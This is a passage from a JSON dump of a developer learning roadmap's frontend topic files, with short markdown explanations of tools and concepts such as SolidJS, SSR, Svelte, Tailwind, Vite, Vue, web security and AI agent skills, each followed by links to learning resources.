    "content": "# Skills\n\nAI coding assistants can leverage \"skills\" – pre-defined functions or tools exposed to the AI that allow it to perform specific actions. Instead of relying solely on their internal knowledge and large language models, these assistants can call upon these skills (like running tests, deploying code, or querying databases) when needed. This allows the AI to interact with the development environment and execute tasks directly, improving accuracy and efficiency, all while minimizing the context window required for each action.\n\nVisit the following resources to learn more:\n\n- [@course@Agent Skills with Anthropic](https://www.deeplearning.ai/short-courses/agent-skills-with-anthropic/)\n- [@article@Agent Skills: The Universal Standard Transforming How AI Agents Work](https://medium.com/@richardhightower/agent-skills-the-universal-standard-transforming-how-ai-agents-work-fc7397406e2e)\n- [@article@AI Agents or Skills? Why the Answer Is ‘Both’](https://thenewstack.io/ai-agents-or-skills-why-the-answer-is-both/)\n- [@article@Agent Skills vs Tools: What Actually Matters](https://blog.arcade.dev/what-are-agent-skills-and-tools)\n- [@video@Claude Agent Skills Explained](https://www.youtube.com/watch?v=fOxC44g8vig)\n- [@video@Agent Skills Explained: Why This Changes Everything for AI Development](https://www.youtube.com/watch?v=Ihoxov5x66k)\n- [@video@The complete guide to Agent Skills](https://www.youtube.com/watch?v=fabAI1OKKww)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/solid-js@DxOSKnqAjZOPP-dq_U7oP.md",
    "content": "# SolidJS\n\nSolidJS is a JavaScript tool for building website interfaces that is known for being very fast and efficient. It updates only the parts of the page that change, which makes it perform well. SolidJS doesn't use a virtual DOM; instead, it directly changes the real DOM. Its syntax is like React, so many developers find it familiar. It supports JSX, has built-in ways to manage data, and is small in size. SolidJS is getting popular for its speed, simplicity, and smart way of handling updates.\n\nVisit the following resources to learn more:\n\n- [@official@SolidJS Website](https://www.solidjs.com/)\n- [@official@SolidJS Tutorial](https://www.solidjs.com/tutorial/introduction_basics)\n- [@video@SolidJS in 100 Seconds](https://www.youtube.com/watch?v=hw3Bx5vxKl0)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/ssg@n0q32YhWEIAUwbGXexoqV.md",
    "content": "# Static Site Generators\n\nStatic Site Generators (SSGs) build websites as pre-generated HTML files from content and templates. Make sites fast, secure, and easy to host. Examples: Jekyll, Hugo, Eleventy. Ideal for blogs, documentation, and content-focused sites with excellent performance.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Static Site Generator?](https://www.cloudflare.com/learning/performance/static-site-generator/)\n- [@article@Get Back to Basics With Static Website Generators](https://thenewstack.io/get-back-basics-static-website-generators/)\n- [@video@What is a static site generator](https://www.youtube.com/watch?v=Qms4k6y7OgI)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/ssr@Cxspmb14_0i1tfw-ZLxEu.md",
    "content": "# Server-side rendering\n\nServer-side rendering (SSR) generates complete HTML on the server before sending to browsers. Improves initial load times, SEO, and performance on slow devices. Frameworks: Next.js (React), Nuxt.js (Vue). Increases server load but enhances user experience.\n\nVisit the following resources to learn more:\n\n- [@article@Server-Side Rendering (SSR)](https://vuejs.org/guide/scaling-up/ssr.html)\n- [@video@What are Server Side Rendering (SSR) & Client Side Rendering (CSR)](https://www.youtube.com/watch?v=ObrSuDYMl1s)\n- [@video@What is server-side rendering for web development?](https://www.youtube.com/watch?v=okvg3MRAPs0)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/static-site-generators@n0q32YhWEIAUwbGXexoqV.md",
    "content": "# Static Site Generators\n\nStatic Site Generators (SSGs) build websites as pre-generated HTML files from content and templates. Make sites fast, secure, and easy to host. Examples: Jekyll, Hugo, Eleventy. Ideal for blogs, documentation, and content-focused sites with excellent performance.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Static Site Generator?](https://www.cloudflare.com/learning/performance/static-site-generator/)\n- [@article@Get Back to Basics With Static Website Generators](https://thenewstack.io/get-back-basics-static-website-generators/)\n- [@video@What is a static site generator](https://www.youtube.com/watch?v=Qms4k6y7OgI)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/storage@raoa-75p_DyBAycvy3yVv.md",
    "content": "# Web Storage API\n\nWeb Storage API stores data in browsers with localStorage (persistent) and sessionStorage (tab-specific). Useful for user preferences, shopping carts, and application state. Simpler and higher capacity than cookies with broad browser support.\n\nVisit the following resources to learn more:\n\n- [@article@Web Storage API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API)\n- [@article@Web Storage API – How to Store Data on the Browser](https://www.freecodecamp.org/news/web-storage-api-how-to-store-data-on-the-browser/)\n- [@feed@Explore top posts about Storage](https://app.daily.dev/tags/storage?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/streamed-responses@FyNXhHq1VIASNq-LI7JIu.md",
    "content": "# Streamed Responses\n\nStreamed responses involve sending data from a server to a client in chunks, rather than waiting for the entire response to be ready before sending anything. This allows the browser to start processing and rendering content sooner, improving perceived performance and user experience, especially for large datasets or long-running processes. Instead of a single, large download, the data arrives incrementally.\n\nVisit the following resources to learn more:\n\n- [@article@Streams API](https://developer.mozilla.org/en-US/docs/Web/API/Streams_API)\n- [@article@Streaming API responses for AI - OpenAI](https://platform.openai.com/docs/guides/streaming-responses)\n- [@article@Streaming Responses in AI: How AI Outputs Are Generated in Real-Time](https://dev.to/pranshu_kabra_fe98a73547a/streaming-responses-in-ai-how-ai-outputs-are-generated-in-real-time-18kb)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/svelte-kit@P4st_telfCwKLSAU2WsQP.md",
    "content": "# Svelte Kit\n\nSvelteKit is a full-stack framework for building websites and applications with Svelte. Features file-based routing, code splitting, server-side rendering, and static site generation. Designed for simplicity and performance with excellent developer experience and easy deployment options.\n\nVisit the following resources to learn more:\n\n- [@official@Svelte Kit](https://kit.svelte.dev/)\n- [@official@Svelte Kit Docs](https://kit.svelte.dev/docs/introduction)\n- [@video@Sveltekit in 100 Seconds](https://www.youtube.com/watch?v=H1eEFfAkIik)\n- [@feed@Explore top posts about Svelte](https://app.daily.dev/tags/svelte?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/svelte@OL8I6nOZ8hGGWmtxg_Mv8.md",
    "content": "# Svelte\n\nSvelte is a compile-time JavaScript framework building UIs with minimal runtime overhead. Compiles components to optimized vanilla JavaScript without virtual DOM. Features simple syntax, built-in state management, styling, and animations. Known for small bundle sizes and fast performance.\n\nVisit the following resources to learn more:\n\n- [@course@Svelte Course Playlist for beginners](https://www.youtube.com/playlist?list=PL4cUxeGkcC9hlbrVO_2QFVqVPhlZmz7tO)\n- [@official@Svelte Website](https://svelte.dev/)\n- [@article@All About Svelte, the Much-Loved, State-Driven Web Framework](https://thenewstack.io/all-about-svelte-the-much-loved-state-driven-web-framework/)\n- [@article@Svelte and the Future of Frontend Development](https://thenewstack.io/svelte-and-the-future-of-front-end-development/)\n- [@feed@Explore top posts about Svelte](https://app.daily.dev/tags/svelte?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/svelte@ZR-qZ2Lcbu3FtqaMd3wM4.md",
    "content": "# Svelte\n\nSvelte is a JavaScript tool for building UIs. Unlike others, Svelte does its main work during build time, not in the browser. It turns your code into small, fast, plain JavaScript. Svelte uses components and has a simple syntax, so you write less code. It includes features for managing data, styling, and animations. Because Svelte doesn't use a virtual DOM, pages load and update quickly. It's liked for its simplicity and speed.\n\nVisit the following resources to learn more:\n\n- [@course@Svelte Course Playlist for beginners](https://www.youtube.com/playlist?list=PL4cUxeGkcC9hlbrVO_2QFVqVPhlZmz7tO)\n- [@official@Svelte Website](https://svelte.dev/)\n- [@article@Svelte and the Future of Frontend Development](https://thenewstack.io/svelte-and-the-future-of-front-end-development/)\n- [@feed@Explore top posts about Svelte](https://app.daily.dev/tags/svelte?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/swc@h26uS3muFCabe6ekElZcI.md",
    "content": "# SWC (Speedy Web Compiler)\n\nSWC (Speedy Web Compiler) is a Rust-based JavaScript/TypeScript compiler and bundler, much faster than Babel. Supports modern JavaScript features, JSX, and TypeScript compilation. Popular for large projects and as performance foundation for other build tools.\n\nVisit the following resources to learn more:\n\n- [@official@SWC Website](https://swc.rs/)\n- [@official@SWC Documentation](https://swc.rs/docs/)\n- [@article@Why SWC is the Future of JavaScript Tooling](https://dev.to/somelink/why-swc-is-the-future-of-javascript-tooling)\n- [@video@Introduction to Speedy Web Compiler](https://www.youtube.com/watch?v=RXQlPpbdn_E)\n- [@feed@Explore top posts about SWC](https://app.daily.dev/tags/swc?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/tailwind@eghnfG4p7i-EDWfp3CQXC.md",
    "content": "# Tailwind CSS\n\nTailwind CSS is a utility-first CSS framework providing small, composable classes for rapid custom design development. Features mobile-first approach, automatic unused style removal (purging), and flexible customization. Enables quick responsive design prototyping without writing custom CSS.\n\nVisit the following resources to learn more:\n\n- [@course@Tailwind CSS Full Course for Beginners](https://www.youtube.com/watch?v=lCxcTsOHrjo)\n- [@official@Tailwind Website](https://tailwindcss.com)\n- [@official@Online Playground](https://play.tailwindcss.com)\n- [@video@Should You Use Tailwind CSS?](https://www.youtube.com/watch?v=hdGsFpZ0J2E)\n- [@video@Official Screencasts](https://www.youtube.com/c/TailwindLabs/videos)\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/tanstack-start@f9zlP6lGhfe6HBHVYiySu.md",
    "content": "# Tanstack Start\n\nTanstack Start is a full-stack framework built on React that simplifies the process of creating web applications with server-side rendering (SSR). It provides tools and conventions for routing, data fetching, and deployment, allowing developers to focus on building features rather than configuring infrastructure. It aims to streamline the development workflow for React-based SSR applications.\n\nVisit the following resources to learn more:\n\n- [@official@Tanstack Start](https://tanstack.com/start/latest)\n- [@official@Tanstack Start Docs](https://tanstack.com/start/latest/docs/framework/react/overview)\n- [@official@Getting Started](https://tanstack.com/start/latest/docs/framework/react/getting-started)\n- [@article@An introduction to the TanStack Start framework](https://blog.logrocket.com/tanstack-start-overview/)\n- [@video@TanStack Start Full Course 2025 | Become a TanStack Start Pro in 1 Hour](https://www.youtube.com/watch?v=s4I4JtOZNgg)\n- [@video@Tanstack Start is now my Go-To Framework](https://www.youtube.com/watch?v=TWWS_lo4kOA)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/tauri@GJctl0tVXe4B70s35RkLT.md",
    "content": "# Tauri\n\nTauri builds small, secure desktop apps using web technologies with Rust backend. Uses system webview instead of bundled browser, resulting in smaller apps. Features strong security and JavaScript framework compatibility. Focuses on performance and minimal resource usage compared to Electron.\n\nVisit the following resources to learn more:\n\n- [@official@Tauri Website](https://tauri.app/)\n- [@official@Tauri Docs](https://tauri.app/v1/guides/)\n- [@article@How Tauri Turns Web Designs into Compact Native Apps](https://thenewstack.io/how-tauri-turns-web-designs-into-compact-native-apps/)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/testing@igg4_hb3XE3vuvY8ufV-4.md",
    "content": "# Testing your apps\n\nTesting verifies software functionality and quality through unit, integration, functional, UI/UX, performance, security, accessibility, and compatibility testing. Modern approaches use automated tools, CI/CD pipelines, TDD, and BDD methodologies. Early bug detection improves application reliability.\n\nVisit the following resources to learn more:\n\n- [@article@The Different Types of Software Tests](https://www.atlassian.com/continuous-delivery/software-testing/types-of-software-testing)\n- [@video@How to Test Web Applications - dotJS 2024](https://www.youtube.com/watch?v=l3qjQpYBR8c)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/type-checkers@NQ95TJCe3E1IwEuBa__D6.md",
    "content": "# Type Checkers\n\nType checkers are tools that analyze code to verify that the types of values used in a program are consistent with their declared or inferred types. They help catch type-related errors during development, before the code is run, by identifying mismatches between expected and actual data types. This process ensures that operations are performed on compatible data, reducing the likelihood of runtime errors and improving code reliability.\n\nVisit the following resources to learn more:\n\n- [@article@Type checking](https://finchtrade.com/glossary/type-checking)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/type-checkers@hwPOGT0-duy3KfI8QaEwF.md",
    "content": "# Type Checkers\n\nType checkers analyze code for type-related errors before runtime, ensuring correct type usage and catching mistakes early. Examples: TypeScript, Flow (JavaScript), mypy (Python). Add static typing to dynamic languages, improving reliability, readability, and refactoring support for large projects.\n\nVisit the following resources to learn more:\n\n- [@official@Flow - Static Type Checker for JavaScript](https://flow.org/)\n- [@official@TypeScript](https://www.typescriptlang.org/)\n- [@official@Mypy - Static Type Checker for Python](https://mypy.readthedocs.io/en/stable/)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/typescript@0asdhvwBH3gn-ercktV7A.md",
    "content": "# TypeScript\n\nTypeScript is Microsoft's strongly-typed language extending JavaScript with static typing. Compiles to plain JavaScript with enhanced IDE support, interfaces, generics, and decorators. Catches errors early, improves maintainability, and reduces runtime issues. Standard for large-scale applications.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated TypeScript Roadmap](https://roadmap.sh/typescript)\n- [@official@TypeScript Website](https://www.typescriptlang.org/)\n- [@official@TypeScript Playground](https://www.typescriptlang.org/play)\n- [@official@The TypeScript Handbook](https://www.typescriptlang.org/docs/handbook/intro.html)\n- [@video@TypeScript for Beginners](https://www.youtube.com/watch?v=BwuLxPH8IDs)\n- [@feed@Explore top posts about TypeScript](https://app.daily.dev/tags/typescript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/using-devtools@3_sJHKTogkDoCjR518-OL.md",
    "content": "# Browser DevTools\n\nBrowser DevTools are built-in development features for inspecting, editing, and debugging HTML, CSS, and JavaScript. Include DOM inspector, console, network panel, performance profiler, and device emulation. Essential for frontend development, optimization, and testing.\n\nVisit the following resources to learn more:\n\n- [@official@Chrome DevTools - Google Developers](https://developers.google.com/web/tools/chrome-devtools)\n- [@official@Firefox DevTools User Docs](https://firefox-source-docs.mozilla.org/devtools-user/)\n- [@feed@Explore top posts about DevTools](https://app.daily.dev/tags/devtools?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/using-lighthouse@RIhHMHLsLLPhNl05Q9aBf.md",
    "content": "# Lighthouse\n\nLighthouse is Google's open-source web auditing tool measuring performance, accessibility, and SEO. Available as browser extension and CLI. Provides comprehensive reports with improvement recommendations by simulating page loads and checking for optimization issues.\n\nVisit the following resources to learn more:\n\n- [@official@Lighthouse - Google Developers](https://developers.google.com/web/tools/lighthouse)\n- [@video@What is Google Lighthouse and how to use it](https://www.youtube.com/watch?v=VyaHwvPWuZU)\n- [@feed@Explore top posts about Lighthouse](https://app.daily.dev/tags/lighthouse?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/vcs-hosting@MXnFhZlNB1zTsBFDyni9H.md",
    "content": "# Repo Hosting Services\n\nRepository hosting services (GitHub, GitLab, Bitbucket) provide platforms for storing, managing, and collaborating on software projects using Git version control. Facilitate teamwork, code sharing, project tracking, and distributed software development workflows.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub Website](https://github.com)\n- [@official@GitLab Website](https://about.gitlab.com)\n- [@official@Codeberg Website](https://codeberg.org/)\n- [@official@BitBucket Website](https://bitbucket.com)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/vercel@kPJ0jZo5AbOzvZgv0zwp0.md",
    "content": "# Vercel\n\nVercel is a platform designed for deploying and hosting web applications, particularly those built with modern frontend frameworks and static site generators. It provides features like automatic deployments from Git repositories, serverless functions, and a global content delivery network (CDN) to ensure fast and reliable performance. Vercel simplifies the process of taking a frontend project from development to production.\n\nVisit the following resources to learn more:\n\n- [@official@Vercel Documentation](https://vercel.com/docs)\n- [@official@Vercel Quick Start](https://vercel.com/docs/getting-started-with-vercel)\n- [@video@Vercel Tutorial - Host a Website for Free](https://www.youtube.com/watch?v=Vx5nPGdsFaU)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/version-control-systems@NIY7c4TQEEHx0hATu-k5C.md",
    "content": "# Version Control Systems\n\nVersion Control Systems (VCS) like Git track code changes and enable developer collaboration through modification history. Features include branching, merging, reverting, remote repositories, pull requests, and code reviews. Essential for modern software development productivity, quality, and teamwork.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git Documentation](https://git-scm.com/docs)\n- [@article@Learn Git by Atlassian](https://www.atlassian.com/git)\n- [@video@What is a Version Control System and why you should always use it](https://www.youtube.com/watch?v=IeXhYROClZk)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/version-control@NIY7c4TQEEHx0hATu-k5C.md",
    "content": "# Version Control Systems\n\nVersion Control Systems (VCS) like Git track code changes and enable developer collaboration through modification history. Features include branching, merging, reverting, remote repositories, pull requests, and code reviews. Essential for modern software development productivity, quality, and teamwork.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git Documentation](https://git-scm.com/docs)\n- [@article@Learn Git by Atlassian](https://www.atlassian.com/git)\n- [@video@What is a Version Control System and why you should always use it](https://www.youtube.com/watch?v=IeXhYROClZk)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/vite@0Awx3zEI5_gYEIrD7IVX6.md",
    "content": "# Vite\n\nVite is a modern build tool using native ES modules for instant server starts and fast Hot Module Replacement. Supports Vue, React, Svelte with Rollup for production builds. Features CSS pre-processors and TypeScript integration. Enhances developer experience with faster development cycles.\n\nVisit the following resources to learn more:\n\n- [@official@Vite - The Build Tool for the Web](https://vite.dev)\n- [@official@Vite Documentation](https://vite.dev/guide/)\n- [@video@Vite Crash Course](https://youtu.be/LQQ3CR2JTX8)\n- [@video@Vite Tutorial Video](https://www.youtube.com/watch?v=VAeRhmpcWEQ)\n- [@feed@Explore top posts about Vite](https://app.daily.dev/tags/vite?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/vitest@hVQ89f6G0LXEgHIOKHDYq.md",
    "content": "# Vitest\n\nVitest is a fast JavaScript/TypeScript testing framework optimized for Vite with Jest-compatible API. Features live test updates, snapshot testing, mocking, code coverage, parallel execution, and watch mode. Designed for Vite projects but works with any JavaScript project.\n\nVisit the following resources to learn more:\n\n- [@official@Vitest - Next Generation Testing Framework](https://vitest.dev/)\n- [@official@Vitest Documentation](https://vitest.dev/guide/)\n- [@video@Vitest Simplified](https://www.youtube.com/watch?v=snCLQmINqCU)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/vuejs@3TE_iYvbklXK0be-5f2M7.md",
    "content": "# Vue.js\n\nVue.js is a progressive JavaScript framework for building user interfaces. Features template syntax, virtual DOM, and component-based architecture. Easy to learn and incrementally adoptable. Works well with ecosystem tools for routing and state management. Known for flexibility, performance, and gentle learning curve.\n\nVisit the following resources to learn more:\n\n- [@official@Vue.js Website](https://vuejs.org/)\n- [@article@Meet Vue.js, the Flexible JavaScript Framework](https://thenewstack.io/meet-vue-js-flexible-javascript-framework/)\n- [@video@Vue.js Course for Beginners](https://www.youtube.com/watch?v=VeNfHj6MhgA)\n- [@feed@Explore top posts about Vue.js](https://app.daily.dev/tags/vuejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/vuejs@ERAdwL1G9M1bnx-fOm5ZA.md",
    "content": "# Vue.js\n\nVue.js is a JavaScript framework for building website interfaces. It's easy to start with and can be added to projects bit by bit. Vue uses templates and a virtual DOM (a lightweight copy of the real page) to show things on screen efficiently. It has a system of reusable components, making code organized. While Vue mainly handles what users see, it works well with other tools for things like managing data or page navigation. It's known for being easy to learn, flexible, and fast, making it popular for all kinds of projects.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Vue Roadmap](https://roadmap.sh/vue)\n- [@official@Vue.js Website](https://vuejs.org/)\n- [@video@Vue.js Course for Beginners](https://www.youtube.com/watch?v=VeNfHj6MhgA)\n- [@feed@Explore top posts about Vue.js](https://app.daily.dev/tags/vuejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/vuepress@CMrss8E2W0eA6DVEqtPjT.md",
    "content": "# Vuepress\n\nVuePress is a Vue.js-powered static site generator optimized for documentation. Creates fast, SEO-friendly sites with Vue-based theming, syntax highlighting, and Markdown support with Vue components. Features built-in search, responsive layouts, and plugin/theme customization. Ideal for documentation and simple websites.\n\nVisit the following resources to learn more:\n\n- [@official@Vuepress](https://vuepress.vuejs.org/)\n- [@video@What is VuePress?](https://www.youtube.com/watch?v=iRhRdY7SQJg)\n- [@feed@Explore top posts about Vue.js](https://app.daily.dev/tags/vuejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/web-apis@3HgiMfqihjWceSxd6ei8s.md",
    "content": "# Web APIs\n\nWeb APIs are interfaces provided by web browsers that allow JavaScript code to interact with the browser environment and the wider web. These APIs provide access to functionalities like manipulating the Document Object Model (DOM), handling user input, making network requests, managing browser history, and accessing device hardware like the camera or microphone. They essentially bridge the gap between JavaScript and the capabilities of the browser and the underlying operating system.\n\nVisit the following resources to learn more:\n\n- [@article@Web APIs](https://developer.mozilla.org/en-US/docs/Web/API)\n- [@article@Web APIs - Introduction](https://www.w3schools.com/js/js_api_intro.asp)\n- [@video@What is a Web API?](https://www.youtube.com/watch?v=_7rT-ixivWU)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/web-components@ruoFa3M4bUE3Dg6GXSiUI.md",
    "content": "# Web Components\n\nWeb Components create reusable HTML elements using Custom Elements, Shadow DOM, and HTML Templates. Work across browsers and frameworks with encapsulated styles and structure. Enable modular, shareable code with reduced style conflicts. Standard for building interoperable web parts.\n\nVisit the following resources to learn more:\n\n- [@article@Web Components - MDN](https://developer.mozilla.org/en-US/docs/Web/Web_Components)\n- [@article@WebComponents.org](https://webcomponents.github.io/)\n- [@video@Web Components Crash Course](https://www.youtube.com/watch?v=PCWaFLy3VUo)\n- [@feed@Explore top posts about Web Components](https://app.daily.dev/tags/web-components?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/web-security-basics@RDWbG3Iui6IPgp0shvXtg.md",
    "content": "# Web Security Knowledge\n\nWeb security protects websites from cyber threats through HTTPS/TLS, XSS/SQL injection/CSRF prevention, CSP, secure authentication, input validation, and regular updates. Involves understanding OWASP Top Ten vulnerabilities, access controls, secure coding practices, and threat awareness for comprehensive protection.\n\nVisit the following resources to learn more:\n\n- [@official@OWASP Website](https://owasp.org/)\n- [@article@OWASP Cheatsheets](https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html)\n- [@article@Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)\n- [@video@OWASP ZAP Step-by-Step Tutorial](https://www.youtube.com/playlist?list=PLH8n_ayg-60J9i3nsLybper-DR3zJw6Z5)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/web-security@RDWbG3Iui6IPgp0shvXtg.md",
    "content": "# Web Security Knowledge\n\nWeb security protects websites from cyber threats through HTTPS/TLS, XSS/SQL injection/CSRF prevention, CSP, secure authentication, input validation, and regular updates. Involves understanding OWASP Top Ten vulnerabilities, access controls, secure coding practices, and threat awareness for comprehensive protection.\n\nVisit the following resources to learn more:\n\n- [@official@OWASP Website](https://owasp.org/)\n- [@article@OWASP Cheatsheets](https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html)\n- [@article@Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)\n- [@video@OWASP ZAP Step-by-Step Tutorial](https://www.youtube.com/playlist?list=PLH8n_ayg-60J9i3nsLybper-DR3zJw6Z5)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/web-sockets@NDJR8UCoa31v45TBFP7we.md",
    "content": "# Web Sockets\n\nWebSockets enable real-time, bidirectional communication over persistent TCP connections. Ideal for low-latency applications like gaming, live streams, and chat systems. Avoids HTTP request overhead with broad browser support and framework integration.\n\nVisit the following resources to learn more:\n\n- [@article@Web Sockets - MDN](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API)\n- [@article@What are Web Sockets?](https://www.pubnub.com/guides/websockets/)\n- [@video@How Web Sockets Work](https://www.youtube.com/watch?v=pnj3Jbho5Ck)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/webpack@twufEtHgxcRUWAUQ9bXus.md",
    "content": "# Webpack\n\nWebpack is a JavaScript module bundler processing web resources (JS, CSS, images, fonts). Uses loaders for preprocessing and plugins for optimization. Features code splitting, lazy loading, hot module replacement, and tree shaking. Standard for complex applications despite learning curve.\n\nVisit the following resources to learn more:\n\n- [@official@Webpack](https://webpack.js.org/)\n- [@official@Getting Started with Webpack](https://webpack.js.org/guides/getting-started/)\n- [@article@A Complete Guide to Webpack 5](https://www.valentinog.com/blog/webpack)\n- [@feed@Explore top posts about Webpack](https://app.daily.dev/tags/webpack?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/what-is-domain-name@ZhSuu2VArnzPDp6dPQQSC.md",
    "content": "# Domain Name\n\nDomain names are human-friendly web addresses (e.g., [google.com](http://google.com)) substituting numerical IP addresses. Comprise second-level (\"google\") and top-level (\".com\") domains. Registered through registrars, essential for branding and online presence. DNS translates names to IP addresses for accessibility.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Domain Name?](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_domain_name)\n- [@article@What is a Domain Name? | Domain name vs. URL](https://www.cloudflare.com/en-gb/learning/dns/glossary/what-is-a-domain-name/)\n- [@video@What is a Domain Name?](https://www.youtube.com/watch?v=lMHzpBwPuG8)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/what-is-hosting@aqMaEY8gkKMikiqleV5EP.md",
    "content": "# Hosting\n\nWeb hosting stores website files on servers, making sites accessible online. Types include shared (multiple sites per server) and dedicated (exclusive server) hosting. Providers offer additional services like email, domains, and security certificates. Critical for website performance and accessibility.\n\nVisit the following resources to learn more:\n\n- [@article@What is Web Hosting?](https://www.namecheap.com/hosting/what-is-web-hosting-definition/)\n- [@video@Different Types of Web Hosting Explained](https://www.youtube.com/watch?v=AXVZYzw8geg)\n- [@video@Where to Host a Fullstack Project on a Budget](https://www.youtube.com/watch?v=Kx_1NYYJS7Q)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/what-is-http@R12sArWVpbIs_PHxBqVaR.md",
    "content": "# What is HTTP?\n\nHTTP (Hypertext Transfer Protocol) enables browser-server communication through requests and responses. Stateless protocol using methods like GET and POST. HTTPS provides encrypted security. Newer versions (HTTP/2, HTTP/3) offer improved performance. Fundamental for web development understanding.\n\nVisit the following resources to learn more:\n\n- [@article@Everything you need to know about HTTP](https://cs.fyi/guide/http-in-depth)\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@How HTTPS Works](https://howhttps.works)\n- [@article@HTTP/3 Is Now a Standard: Why Use It and How to Get Started](https://thenewstack.io/http-3-is-now-a-standard-why-use-it-and-how-to-get-started/)"
  },
  {
    "path": "src/data/roadmaps/frontend/content/writing-css@XDTD8el6OwuQ55wC-X4iV.md",
    "content": "# Modern CSS\n\nModern CSS creates responsive designs using media queries, flexible typography, CSS-in-JS, and frameworks like Tailwind. Features CSS Logical Properties for internationalization and CSS Houdini for custom styling. Goals: performance, maintainability, and accessible designs across all devices.\n\nVisit the following resources to learn more:\n\n- [@article@Modern CSS: A Comprehensive Guide](https://moderncss.dev/)\n- [@article@CSS-Tricks: Modern CSS](https://css-tricks.com/modern-css/)\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/writing-semantic-html@z8-556o-PaHXjlytrawaF.md",
    "content": "# Semantic HTML\n\nSemantic HTML uses meaningful markup elements (header, nav, main, article, section, aside, footer) to convey content meaning, not just appearance. Enhances accessibility, SEO, and code readability. Aids screen readers and browser rendering for better user experience.\n\nVisit the following resources to learn more:\n\n- [@article@Guide to Writing Semantic HTML](https://cs.fyi/guide/writing-semantic-html)\n- [@article@Semantic HTML - web.dev](https://web.dev/learn/html/semantic-html/)\n- [@video@Why & When to Use Semantic HTML Elements over Div(s)](https://www.youtube.com/watch?v=bOUhq46fd5g)\n"
  },
  {
    "path": "src/data/roadmaps/frontend/content/yarn@yrq3nOwFREzl-9EKnpU-e.md",
    "content": "# Yarn\n\nYarn is Facebook's JavaScript package manager offering fast, reliable, secure alternative to npm. Features lockfile consistency, parallel installations, offline mode, and checksum verification. Yarn Berry with Plug'n'Play improves performance for large projects.\n\nVisit the following resources to learn more:\n\n- [@official@Yarn - Getting Started](https://yarnpkg.com/en/docs/getting-started)\n- [@video@Yarn Crash Course](https://www.youtube.com/watch?v=g9_6KmiBISk)\n- [@feed@Explore top posts about Yarn](https://app.daily.dev/tags/yarn?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/frontend/faqs.astro",
